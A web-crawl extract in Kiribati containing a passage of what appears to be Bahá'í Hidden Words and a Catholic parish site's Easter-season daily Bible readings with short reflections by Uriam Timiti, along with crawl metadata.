mwakuri. Nikabane aomata a riai ni kaotaa nako aia mwakuri aika a itiaki ma n tabu, bwa taeka bon aia bwai aomata nikabane, ma taian mwakuri n aron aikai bon ti aia bwai Naake Ti tangiriia. Kekeiaki ngkanne ma nanom ao tamneim ni kaokoroi ngkami n ami mwakuri. N te kawai aei Ti reireini ngkami inanon te tabureti ae e tabu ma n ootanako aio.\nO NATIN TE MOTIRAOI!\nN auan te tairiki tamaroan te Maiu ae e aki maamate E a tia n oki nako man te rietaata ae emeroute (emerald) n te onimaki nakon te Sadratu'l-Muntaha, ao n tang n te aeka n tang are te runga ni karawa ao taan maeka n abanuea ake i eta a tanginiwenei n Ana bwaebwaeti. Mai ikanne are a titiraki, Bukin tera te tang ma te tanginiwenei? E kaeka: N aron Tuangakiu I tataninga ma te kariaria iaon taubukin te kakaonimaki, ma I aki ikena mai irouia naake a maeka i aon te aonaaba boiararan te onimaki. Ngkanne ni Weteakiu bwa Nna oki I noria, ao ai kamiira! tabeua taoben te katabuaki a kammarakaki ni kataaki inanon ukinwaeia kamean te aonaaba. Ao ikanne are Ainen Karawa e kawaekoaa n akea rabunan ubuna ao n ootanako n raneanea man Ana mantion ae e miterio, ao e titiraki araia, ao a bane n tuangaki ma ti temanna. Ao ngke e kaumakaki, te moan manintaeka mai buakoia e mwaneweaki, ao ikanne are taan maeka n taian ruu i karawa a kawaekoaia n otinako man nneia ae e mimitong. Ao ngke e tabe ni katangaki te kauoua ni manintaeka a bwaka i aontano, temanna ao nikabane, iaon te bubuntano. N te tai anne e ongo te aba te bwanaa mai inanoan te bangota: \"Anne tokimi ao tai keerake riki.\" Ni koaua Ti kakoaua nakon te bwai are a tia ni karaoia ao ngkai a tabe ni karaoia.\nO TE NATI TE MWAANE AE NATIN AU TABONIBAI TE AINE!\nMooi man newen te nanoanga waanakon te miterio n tamnei, ao nooria man bonginaumarin rongorongo te taetaenikawai n tamnei otanakon itoiningainan te wanawana ae e kanakoaki rabunana. Uniki koraan Au niniwana n tamnei inanon tanon te nano ae e itiaki, ao tetebokia n ranin te katabuaki, bwa e aonga atintan te ataibwai ao te niniwana ni bwebwerake ni booureirei ao ni mawaawaa man te kaawa ae e bubura are n te nano ae e tabu.\nO NATIN AE E TANGIRI BWAAI NAKO!\nMaanra riki am tai ni kiba n abanuean tangiran bwain te aonaaba? I a tia n anganiko baim ni kiba, bwa ko aonga ni kiba n abanuean te miterio ae e tabu ao tiaki nakon mwakoron aono n iango ni katautau n taatan. Te koom, naba, I a tia n anganiko bwa ko aonga ni karaua ni katamaroaa mwaotooton Irau ae e roroo, ao tiaki ibukin kaikoakan Roroau.\nO AU TORO!\nNgkami kain Au onaroka, kam riai ni kaotinakoi uaa aika a tamaroa ma n tikaua, bwa kam aonga ngkami i bon iroumi ao tabeman riki ni karekea uaana mai iai. Ai ngaia are bon te kabaebae iaomi nikabane bwa kam na mwakuri n te karaobwai ao n taui nakoa, bwa ikanne e wene n raba karaban te kaubwai, O ngkami aomatan te mataata! Bwa taian uaa aika a kaotinakoaki a katan iaon kawai ake a karaoaki, ao Ana tituaraoi Te Atua e na taubobonga n tabwaninna nakoimi. Kaai ake akea uaaia a bon tia ao a na teimatoa n tau ibukin te ai.\nO AU TORO!\nAomata ake a mena n te kabanea ni karinan mai nano bon naake akea te uaa ae a kaotinakoa iaon te aonaaba. Aeka n aomata akanne a bon, ni koaua, warekaki ibuakoia maate, tiaki, a raoiroi riki maate i Matan Te Atua nakoia tamnei ake a tiku n akea aia kakamwakuri ao akea bonganaia.\nO AU TORO!\nMoaia aomata bon naake a karekea maiua man aia wewete ao a kabanea i bon ibukiia ao iaoia aia utu ibukin tangiran Te Atua, Uean aonaaba ni kabane.\nTe tia Mare te aine ae e miterio ao e tamaroa, e karaba aio iaan rabunanimatan te taetaenikawai, e a tia ngkai, man Ana tituaraoi Te Atua ao Ana akoi n tamnei, e a tia ni kaotaki n ai aron te oota ae e raneanea are e kaotaakinako man tamaroan Are E tangiraki. I kaotia ma te koaua, O ngkami raao! bwa te akoi e a tabwanin raoi, te kauntaeka e a koro bukina, te kakoaua a kaotaaki ao bwaai ni kakoaua a kateaki raoi. Ngkai e nang noraki bwa tera ae e na kaotaki man ami kekeiaki inanon kawain te kamwawaaki. N te wanawana aei are taian bwaintituaraoi n tamnei a tia n tabwaniniia n anganaki nakoim ao nakoia ake i karawa ao iaon te aba. Te nebonebo nikabane nakon te Atua, Uean Aonaaba nikabane.\n*********************","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/bahaiprayers.net\/HiddenWords\/Kiribati\/54","date":"2022-07-03T23:56:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104277498.71\/warc\/CC-MAIN-20220703225409-20220704015409-00001.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":9687,"character_repetition_ratio":0.062,"word_repetition_ratio":0.001,"special_characters_ratio":0.216,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 5. Katenibong\nWarekan aia Makuri Abotoro. 15:1-6\nA ruo mai Iutaia aomata temangina ake a reireia tari ni kangai: \"Ngkana kam aki korotobibiaki n ai aron ana katei Mote, ao kam aki kona ni kamaiuaki.\" E riki iai te kauntaeka ma te kakarabakau ae ababaki i marenaia aomata akanne ma Bauro ma Barenaba. Ao e a baireaki ba a na waerake nako Ierutarem Bauro ma Barenaba ao tebaman riki mai ibuakoia, ba a na kawaria abotoro ma unimane ni bairea te rongorongo anne.\nMa ngaia are a kanakoaki irouia kain te Ekaretia ni bane, ao a moana Boinikia ma Tamaria; a taekin aroia bekan n rairi nanoia, ao a bati ni kukurei iai tari ni bane. Ngke a roko i Ierutarem ao a butimaeaki iroun te Ekaretia ao irouia abotoro ma unimane, ao a kaongoia bai ni kabane ake E karaoi te Atua irouia. Ma e teirake temangina i buakoia te koraki ni Baritaio, ake a riki ba tan onimaki, ao a taku ba a riai ni korotobibiaki bekan ma n tuangaki ba a na kawakina ana tua Mote. Ngkanne, a botaki abotoro ma unimane ni iangoa te rongorongo anne.\nTe Taramo. 121: 1-5\nKaekana: Ti na nakon uman te Uea.\nI kukurei n ongo ae kangai: \"Ti na nakon uman te Uea.\"\nA tei waera ngkai, Ni mataroani Ierutarem. K\nE kateaki Ierutarem ba te kawa, Ae tei n ti teuana rabatana.\nA waerake nako iai baronga, Aika ana baronga te Uea. K\nBon te tua i bukia Iteraera, Neboan aran te Uea.\nA tei iai kaintoka ni motikitaeka, Aika kaintokan uman Tawita. K\nAlleluia, alleluia\nTi ata Kristo ba E mangauti ni koaua. Te Uea ae Ko tokanikai, akoira. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 15: 1-8\nE kangai Iesu nakoia ana reirei: \"Te kai ni kurebe ni koaua Ngai, ao Tamau te tia ribana. Te manga nako ae irou, ae aki kariki ua, ao E koroia Tamau. Te manga ae kariki ua, ao E kaitiakia, ba e aonga ni bati riki uana. Ao ngkami kam a tia ni kaitiakaki naba, i bukin te taeka are I a tia n atongnga nakoimi. Kam na maeka i nanou, ao Ngai i nanomi. E aki kona ni karikiua te manga i bon irouna ngkana e aki nim ma te kainikurebe; ao ai arona naba ngkana kam aki maeka i nanou. Te kainikurebe Ngai, ao mangana ngkami. Ane maeka i nanou, ao Ngai i nanona, ao e kariki ua aika bati. Ba ngkana kam raure nako ma Ngai, ao akea te bae kam kona ni karaoia. Ngkana e aki maeka i nanou temanna, ao e tewenakoaki, n ai aron te manga, ao e rai. Ao a rikoaki manga n tewenakoaki n te ai ba a na kabuokaki. Ngkana kam maeka i nanou, ao ngkana a maeka au taeka i nanomi, ao bubuti ane kam tangiria, ao kam na anganaki. Kam riai ni kariki ua aika bati, ba E aonga n neboaki iai Tamau, ao kam na riki iai ba au reirei.\"\nTibatiba: Kam riai ni kariki ua aika bati, ba E aonga n neboaki iai Tamau\nTariu ao maneu ti weteaki n te bong nakon maiuakinan te maiu ae raoiroi ae karikiua aika raoiroi ba ti aonga n neboa te Atua te Tama iai. Bon aio te karea ae kakawakai ibukira ae ti anganaki inanon te Bakate ni mangauti aio. E a anganira mimitongin mangautina Iesu ba e na kaotai nanora ao ti na riki ba aomatan te Ota aika tan baibai n te kabaia ae akea tokina i Karawa.\nAo ti na kanga ni kariki ua aika raraoi ba ti aonga n neboa te Atua iai? Eng karekean te maiu ae akea tokina bon tiaki man iran te katei n Iutaia are te lorotobibialki ma bon man butimaean Iesu ba e na riki ba te tia taua taekan ao kirira maeura. E kamatata aio Iesu ngke e kaotia makoira ba boni Ngaia te kainikurebe ao ngaira bon mangana ao ti na kona ni kariki ua ngkana ti nim ma boton te kai. Ao ngkana ti aki nim ma te manga ao ti na rai ao ti na mate ao ti na bon aki kona ni maiu. Ao te Atua boni Ngaia te tia kamaiua te kainikurebe.\nTe kariki ua ngkanne e bon reke ngkana ti nim ma boton te maiu are te Atua, ke te riki n ti teuana ma Iesu are te kai ni kurebe. Bon aio ngkanne miterion te kamaiuaki ba ti na maiu inanon te Atua ao te Atua E na maiu ao ni maeka inanora. Bon aio miterion te kamaiuaki ba te riki n tai nako n ti teuana ma te Atua. Ti na bon aki kona ni kairiki ua ngkana ti aki toma ke ti raurenako ma Iesu n te bure. Ao ngkana ti aki toma ma te maiu ao te bai ae na riki nakoira ba ti na koreaki nako man boton te kai ao ti na teweakinako nakon te ai ni kabuekaki.\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 5. Kauabong\nWarekan aia Makuri Abotoro. 14: 19-28\nA roko mai Antiokia ao mai Ikonia I Iutaia temangina ake a anai nanoia te koraki. E karebanaki Bauro, ao e katikaki nako tinanikun te kawa, ba aongkoa e a mate. Ma, ngke e a katobibiaki irouia reirei, ao e a manga teirake, ao e manga rin n te kawa. N te bong are i muina, ao e mananga ma Barenaba nako Terebe.\nNgke a tia n reirei n te kawa anne, ma ni karekeia aia reirei ake a bati, ao a okira Rutitera ao Ikonia ma Antiokia. A kamatoai nanoia reirei, ao a kaungaia ba a na teimatoa n te onimaki; a kangai: \"Ti riai n ri buakon rawawata aika bati ba ti na rin n Uean te Atua.\" A rineia aia unimane i nanon te Ekareia nako akanne. Ao ngke a tia n tataro ma n aki mamatam, ao a muiokoia iroun te Uea are a onimakinna. Ao a riaoni Bitiria ni kaea Bamburia, Ngke a tia ni kaotiota te taeka i Bereke, ao a batete nako Ataria, ao a borau mai iai nako Antiokia are a mananga mai iai ngkoa, ngke a muikoaki n ana akoi te Atua ibukin te makuri are a tia ni karaoia.\nNgke a roko, ao a bota te Ekaretia, ao a kaongoraaia bai ni kabane ake E karaoi te Atua irouia ma arona ngke E kauka mataroan te onimaki nakoia bekan. Ao a kamaania i buakoia reirei.\nTe Taramo. 144: 10-13, 21\nKaekana: Te Uea, ke e neboiko am aomata.\nA na neboiko am makuri, te Uea, a na karaoiroiko am aomata.\nKe a taekina mimitongin Ueam, ke a kaota korakoram. K\nKe a kaongoia aomata ninikoriam, ma mimitongin Ueam.\nAkea tokin am tautaeka, E teimatoa makam i nanon roro nako. K\nN na taetae n neboa te Uea, Ke e neboa arana ae tabu aomata nako\nn tai nako n akea tokina. K\nAlleluia, alleluia\nE a uti Kristo, ao E oniki bai ni kabane: E nanoangaia aomata nako. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 14: 27-31\nE kangai Iesu nakoia ana reirei: \"I katuka te raoi iroumi, I angani ngkami au raoi, tiaki n ai aron ae e anga aonteaba. Ke a tai manga kirewe ma ni maku nanomi, Kam a tia n ongo, ao I a tia n tuangi ngkami ba I a nako, ao N na okiringkami. Ngke arona ba kam tangirai, ao kam na kukurei ngkai I a nakon Tamau, ba E kakanato riki Tamau nakoiu. Ao I a tia n tuangi ngkami i main taina, ba kam aonga ni kakoaua ngkana e roko taina. N na aki manga taetae riki ma ngkami, ba e a nakomai mataniwin aonteaba aei. Akea te bae e kona ni karaoia nakoiu, ma e riai n ataai aonteaba ba I tangira Tamau, ao I karaoa are E tuangai Tamau.\"\nTibatiba: Ti riai n ri buakon rawawata aika bati ba ti na rin n Uean te Atua\nE koaua ae ngkana ti irira Iesu ti riai n ataia ba bon kaitibo ma taian karawawata, kamgakamnga ao maraki ao ti na rinanoa ba ti aonga ni karekea te kaniwanga are bon te maiu ae akea tokina i Karawa inanon te kabaia ao te kimareirei ae aki totoki.\nInanon rongorongon te Bakate ao ti kauringaki aron reken te karea ae moan te kakakwki ba te maiu ae akea tokina I Karawa. Eng bon aio te rongorongo ae ti riai ni kakoaua ao n onikinna ao ni kauki nanora nako iai. Ti riai n ataia ba iai te bai ae ti riai ni karaoiai ba ti aonga ni kamaiuaki. Ba bon te kairua te koaua are ti bane ni kamaiuaki tiaki ti man maten Iesu iaon te kaibabangaki ma ti boni kainnanoia ba ti riai naba ni karaoi makuri aika raraoi ba ti aonga ni karekea te kaniwanga are bon te kona ni mangauti ma Kristo n te kaitira ni bong ba ti aonga n katonga te kukurei ae akea tokina i Karawa.\nNgkai ti na bon kaitibo ma taian wawawata ma kanganga aika bati inanon irirakin Iesu ao ti kuringaki n te bong aio ba ti na teimatoa ni katikui ara taratara iaon Iesu ba ti aonga ni kona n tokanikai iaon kanganga ma kaririaki ao tin a bon katonga te kaniwanga ae moan te kakawaki are bon te rinnako inanon te kabaia ae akea tokina i Karawa. Ti na butia te Atua ba E na taui baira n tai nako ao E na buokira mani kawakinira ba ti na bane n roko n tokin kawaira are bon te kabaia ae akea tokina i krawa.\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 4. Kanimabong\nWarekan aia Makuri Abotoro. 13: 26-33\nE tei Bauro n te tinakoka are i Antiokia I Biritia, ao e tatae ni kangai: \"Tari, ngkami natia ana kariki Aberaam, ao ngkami aika kam maka te Atua, aika kam mena ikai: e bakarere nakoimi te rongorongo aei, ae taekan te kamaiu. Ba a aki kina Iesu ngkekei kaini Ierutarem ma\nuake aia mataniwi; ao a aki atai kanoan aia taeka burabeti aika wawarekaki n te tabati koraki ao a kakoroi bukia ngke a motika matena. E boni ngae ngke e aki reke irouia bukini kamateana, ao butia naba Birato ba e na kamatea. Ma e kautia te Atua mai buakoia mate. Ao e kaoti i nanoni bong ake a maiti nakoia ake a waerake ma Ngaia mai Kariraia nako Ierutarem, aika tani kakoaua taekana ngkai nakoia aomata. Ao ngaira, ti taekina nakoimi te rongongo ae raoiroi, ba te motintaeka are karaoaki nakoia ara bakatibu, E kakoroa bukina te Atua nakoira, ngaira aika natia, ngke E kauta Iesu.\nTe Taramo : 2: 6-11\nKaekana: Natiu Ngkoe, I karikiko n te bong aei.\n\"Boni Ngai ae I katea au Uea, I aon au maunga ae tabu ae Tion.\"\nN na taekina ana moti te Uea: E kangai nakoiu: \"Natiu Ngkoe, I karikiko n te bong aei. K\nBubuti, ao N na anganiko botanaomata, ao tabon aonaba ba abam.\nKo na bouaia ma te kainuea ae te biti, ko na ibea n ai aroni mangko aika tano. K\nUea, karekei wanawanami, karekei ongomi, tani moti I aon e aba;\nkam na toro iroun te Uea ma te maku, kam na karinea ma te ruru. K\nAlleluia, alleluia\nNgkai kam a mangauti ma Kristo, Ao ukeri baika i eta, Ike E tekateka iai Kristo I angatain te Atua. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 14: 1-6\nE kangai Iesu nakoia ana reirei: \"Ke a tai kiriwe nanomi. Kakoaua te Atua, ao kakoauaai naba. A maiti tabo ni maeka n ana auti Tamau. Ngke arona ba akea, ao N na kaman tuangingkami. N na nako ni katauraoa ami tabo. Ao ngkana I a tia n nako ni katauraoa ami tabo, ao N na oki ni kairingkami ba raou, ba kam aonga ni mena naba ike I mena iai; ao kam ata te kawai nako ike I nako iai.\" E taku Toma nakoina: \"Te Uea, Ti aki ata te tabo ae Ko na nako iai, ao ti na kanga n ata kawaina? E kangai Iesu nakoina: \" Boni Ngai te kawai, te koaua ao te maiu. Akea ae nakon te Tama ngkana e aki rirou.\"\nTibatiba: Natiu Ngkoe, I karikiko n te bong aei\nTariu ao maneu bon aio te rongorongo ae moan te kakukurei nakoira n te bong aio ae kangai \"Natiu ngkoe ae I karikiko n te bong aio. Eng bon aio ana kantaninga te Atua ae moan te kakanato ibukira ba inanon te mangauti ao ti a karikaki ba nati ngaira aika ti manga anganaki te kamauiaki ae aki totoki inanon maten ao mangautin Iesu. Inanon te tai are tine iai Iesu iaon te kaibangaki ao ti bane ni kakoaua aron natinakira iroun te Atua ngke e kangai Iesu nakon Tinana Nei Maria,\"Neiko ao aio natim ao imuina e a manga kangai nakon te reirei are Ioane'\"Ao anne tinam. Inanon te tei ae kimototo aio imain maten Iesu ao E anganira te maiu ae bou iroun Tinana ae Nei Maria E tuangira bat i na ti bane ni muiokoaki inanon ana kakawakin ma ana tangira n tina. Ba inanon bakaia ara moan karo ngke a bure ao ti a tia ni kabuakakaki inanon te bure are ti karaureaki iai ma te Atua ao e bua mairoura te aro n natinaki. Ti ataia ngkanne ba inanon te mangauti iroun Iesu ao ti a manga bane ni karekea te aro n natinaki ao te maiu ae aki totoki. Are nanona ngkanne ba inanon reken te te manga natinaki ao ti a manga bane ni karekea te maiu ae aki totoki. Ma inanon ara kekeiaki n te maiu aio ao e kauringaki Iesu ba ti riai ni muiokoi maiura iroun Nei Maria are ngaia te tia reireinira arora aika ti na kakukureia iai nanon Iesu ba ti aonga ni katonga n te taina te kabaia ae aki totoki i Karawa\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 5. Moanibong\nWarekan aia Makuri Abotoro. 14: 5-18\nA reke nanoia bekan ma I Iutaia ake Ikonio, ao aia mataniwi naba, ba a na bainikirinia Bauro ma Barenaba ma ni karebanaia. Ma a kaman ataia ao a nako ni katania ni kawan Rukaonia ake Rutitera ma Terebe ma aba ake irarikia, ao a taekina iai te Rongongo ae Raoiroi. E tekateka iai temanna te aomata ae a mate waena, ba e mauku mangke e moa ni bungiaki, ao e tuai man nakonako. E ongora n ana kaotioti Bauro. E tarataraia Bauro, ao e noria ba iai ana onimaki are e kona ni kamaiuaki iai; ao e kanenea banana ni kangai: Teirake, kaetiko i aoni waem.\" Ao e kibarake n nakonako.\nNgke a nora are e karaoia Bauro, ao a takarua te koraki n taetae n Rukaonia ni kangai; \" A ruo atua i buakora ni katotongaia aomata!\". Ao a arana Barenaba ba Tiati (Zeus) ao Bauro ba Ereme (Hermes) kioina ngke e baina te taetae. Uake ana ibonga Tiati i rarikin te kawa, a kairia kao mane aika maenaki nako mataroan te kawa, a nang katauraoi, ngaia ma te koraki, ba a na angakarea. Ngke a ongo anne Abotoro ake Barenaba ma Bauro, ao a takarua ni kangai: \"Raira, kam aera? Bon aomata naba ngaira. Ti te arona ngaira ma ngkami, ao ti tuangi ngkami ba kam na kaki antimi akanne aika akea maneia, ao kam na rairaki nakon te Atua ae maiu, are karika karawa ma aonaba ao marawa ma kanoana nako. N roro aika nako, ao E kariaia botanaomata nako ba a na tou oini kawaia nako, ma e aki toki ni kaotiotaki oin arona n ana karea, ba E anganingkami mai karawa te karau ma te tai ni mari, ao E katoki nanomi n te amarake ma te kabaia.\" E kuri aki tau naba te karaki anne n tukiia te koraki n angakarea nakoia.\nTe Taramo : 113 B: 1-4, 15-16\nKaekana: Ko na neboaki, te Uea, n ti Ngkoe.\nTiaki ngaira, te Uea, aika ti na neboaki, ma e na neboaki aram,\nba ko akoi ma ni kakaonimaki, ba a kawa ni kangai bekan: \" E nga Atuaia?\" K\nE mena i karawa Atuara, E karaoa ane E tangiria,\nAntia ngaia, bon tirewa ma koora, aika karaoaki ni baia aomata. K\nKam na karaoiroaki iroun te Uea, Are Karika karawa ma aonaba.\nBon ana bai te Uea karawa, E anga aon te aba nakoia aomata. K\nAlleluia, alleluia\nE mangauti Kristo: E ota i aora, ba E kamaiuira n rarana. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 14: 21-26\nE kangai Iesu nakoia ana reirei: \"Ane butimai au tua ma ni kawakin, ao boni ngaia ae tangirai; ane tangirai, ao e na tangiraki iroun Tamau, ao N na tangiria, ao N na kaotai nakoina: E taku Iuta – ae tiaki Iuta Itikarita – nakoina: \"Te Uea, Ko na kanga? Ko na kaotiko nakoira ao tiaki nakon te aonteaba?\" E kaeka Iesu ni kangai: Ngkana iai ae tangirai, ao e na kawakina au taeka, ao E na tangiria Tamau, ao ti na roko irouna, ao ti na maeka i nanona. Ane aki tangirai, ao e aki kawakina au taeka. Tiaki oin au taeka au taeka, ba bon ana taeka teuare kanakoai. I atongi baikanne nakoimi ngke I mena I buakomi. Ma E na reirei ngkami bai ni kabane te Tia ibuobuoki are te Tamnei ae Raoiroi, are E na kanakomaia te Tama n arau, ao E na kauringai nakoimi bai ni kabane aika I a tia n tuangi ngkami.\"\nTibatiba: Ti na reireinaki iroun te Tamnei ae Raoiori bai ake E a tia tungira ngkoa Iesu\nTariu ao maneu ngkai ti a bon moana ara katauraoi ibukin tibangara ae ti anganaki inanon te mangautin te bakate. Inanon moan Bakate ao e kaotaki iai kororaoin ana tangira te Atua ngke E maraki ao ni mate Iesu ibukira iaon te kaibangaki ao E a mangauti. Eng inanon te mate ao te mangauti ao ti a kauringaki iai aron manga kaokan te aro n natinaki iroura ao ana kantaninga ae ababaki te Atua ibukira ba ti na karekea koraraoin te kamaiuaki are bon te maeka ma te Atua n te Abanuea ae Karawa inanon kororaoin the kimareirei ae akea tokina.\nNgkai ti a bon uakan ma te toa ae waraken Iesu nako Karawa are na kaotaki te kantaninga ba ti bon anganaki kororaoin te maiu ngkana e reke iroura te maiu n Atua are mairoun te Tamnei ae Raoiroi. Ao ti ataia ni koaua ba man anganakira te kamaiuaki inanon bakate are bon te natinaki ao ngkanne te bai ae kakawaki bon te tauraoi inanora ni butimaea te Tamnei ae Raoiroi ba ti aonga ni kona ni karaoi bai nako tiaki man te maku ke te katoto ma bon man te kukurei ao te ongotaeka are mai nanora. Ba ngkana e mamakuri ao E inaomata te Tamnei ae Raoiroi inanora ao ti namakina n tai nako te kukurei ni kan kakaraoa Nanon te Atua inanon maiura. Inanon te Tamnei ae Raoiroi ao ti karaoi bai nako ba uan ana kairi te Tamnei ae Raoiroi inanora ao te tauraoi n tai ni kabanei korakorara ni kakukureia nanon te Uea.\nTe bai ae ti kainannoia ngkai bon te tauraoi ni butia te Atua ba ti kairaki iroun Tamnein Iesu ba ti na kabanei maiura aikai ba e na inaomata te Tamnei ae Raoiroi inanora n te aro are ti na kairaki iroun te Tamanei ao E na inaomata ni koaua te Tamnei ae Raoiroi ba e aonga ni kona n reke iroura te Te Maiu ae Onraken te Maiu\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 4. Kaabong\nWarekan aia Makuri Abotoro. 13: 13-25\nA mananga Bauro ma raona mai Babo, ao a borau nako Bereke i Bamburia. Ao e kitania Ioane n nako Ierutarem. Ao uakekei a kitana Bereke nako Aontiokia are i Biritia. A rin n te tinakoka ni bongin te tabati, ao a tekateka. Ngke e a tia ni warekaki te Tua ma burabeti, ao a kanakoa aia taeka mataniwin te tinakoka nakoia, ni kangai: \"Tari, ngkana iai ami taeka ni ibuobuoki nakon te aoraki, ao taetae.\" E teirake Bauro, ao e taotaona baina, ao e taku: \"Mane aika Iteraera, ao ngkami aika kam maka te Atua, kam na ongora. E rineia ara bakatibu Atuan te botanaomata aei, ae Atuaia Iteraera, ao E karikirakea te botanaomata aei ngke e maeka ni irua n te aba ae Aikubita. Ao E kaotinakoia mai iai ni makani baina, ao e tararuaia i nanon te rereua abui te ririki. I muin anne, E karekeia aia Tia Moti ni karokoa te burabeti ae Tamuera.\ni muina, a bubuti aia uea, ao te Atua E angania Tauro te Atua, ao E kateirakea Tawita ba aia uea. Bon taekana are E kaotiotia ni kangai: \"I kunea Tawita ae natini Iete, ba te aomata ae boraoi ma nanou; e na kakoroi bukin au iango ni kabane.\" E kateirakea Iesu te Atua mai buakon ana kariki Tawita ba te tia Kamaiu ibukia Iteraera, n ai aron ana motintaeka. E katauraoa rokona Ioane ae te tia rimoana ngke e taekina te babetito ae te rairannano nakon te botanaomata ae Iteraera ni kabanea. Ngke e a bane ana makuri, ao e kangai Ioane: \"Tiaki ngai teuare kam taku, ma ae E a nakomai n rimuiu Teuare I aki tau ni kabara kauni waena!\"\nTe Taramo : 88:2-3, 21-22, 25-27\nKaekana: Te Uea, N na aki toki n anenea am akoi.\nTe Uea, N na anenea am akoi n aki toki, N na taekina am kakaonimaki inanon roro nako\nBa I kangai: E tei te tangira n akea tokina, Ko kateimatoa am kakaonimaki i karawa. K\nI kunea Tawita au tabonibai, I kabiria n au ba ae tabu.\nE na teimatoa baiu i aona, E na korakora ni baiu. K\nIriana au kakaonimaki ma au akoi, E na rikirake makana n arau.\nE na kangai nakoiu: \" Tamau, Atuau ae au Ba ni kamaiu.\" K\nAlleluia, alleluia\nE mangauti Kristo, ao E na aki manga mate; Akea riki makan te mate i aona. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 13: 16-20\nE kangai Iesu nakoia ana reirei: \"I tuangingkami te koaua: e aki kakanato riki te tabonibai nakon ana toka, ao e aki kakanto riki teuare kanakoaki nakon teuare kanakoa. Ngkai kam ata anne, ao kam a kabaia ngkana kam tauamuina.\nI aki taekina anne ibukimi ni bane; I ataia akana I a tia n rineia; ma e riai ni kakoroaki bukin te Koroboki ae kangai: 'E tabeka bukini waena n ekainako teuare kana au bwerena.' I kaota anne nakoimi i main taina, ba kam aonga ni kakoauaai ba boni iai Ngai, ngkana e roko taina. I bon tuangingkami te koaua: ane butimaea teuare I kanakoa, ao e butimaeai; ane butimaeai, ao e butimaea Teuare kanakoai.\"\nTibatiba: E kateirakea Iesu te Atua mai buakon ana kariki Tawita ba te tia Kamaiu ibukia Iteraera","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=20","date":"2022-10-01T16:50:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336880.89\/warc\/CC-MAIN-20221001163826-20221001193826-00099.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3792,"character_repetition_ratio":0.044,"word_repetition_ratio":0.017,"special_characters_ratio":0.232,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/gil_Latn/fineweb-2_000001_stas.jsonl b/gil_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a9507a25c7135f702accb06afde8f14e764c401b --- /dev/null +++ b/gil_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 604.0848101265823, + "character_repetition_ratio": 0.059083966244725734, + "word_repetition_ratio": 0.011239662447257383, + "special_characters_ratio": 0.23136118143459916, + "stopwords_ratio": 0.37497552742616036, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9837371308016877, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 999.1333294945277, + "character_repetition_ratio": 0.04673378367057002, + "word_repetition_ratio": 0.052451455843848825, + "special_characters_ratio": 0.019527053922472077, + "stopwords_ratio": 0.09381086228207151, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.09083700158850735, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 426.0, + "character_repetition_ratio": 0.055, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.233, + "stopwords_ratio": 0.405, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 30383.0, + "character_repetition_ratio": 0.658, + "word_repetition_ratio": 0.97, + "special_characters_ratio": 0.301, + "stopwords_ratio": 0.559, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 45.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.141, + "stopwords_ratio": 0.003, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.166, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1271.0, + "character_repetition_ratio": 0.096, + "word_repetition_ratio": 0.017, + "special_characters_ratio": 0.254, + "stopwords_ratio": 0.462, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 803.0, + "character_repetition_ratio": 0.071, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.244, + "stopwords_ratio": 0.441, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 426.0, + "character_repetition_ratio": 0.055, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.233, + "stopwords_ratio": 0.405, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 102.0, + "character_repetition_ratio": 0.042, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.22, + "stopwords_ratio": 0.328, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "2370", + "keep size": "2224", + "remove size": "146" + } +] \ No newline at end of file diff --git a/gud_Latn/fineweb-2_000001_keep.jsonl b/gud_Latn/fineweb-2_000001_keep.jsonl new file mode 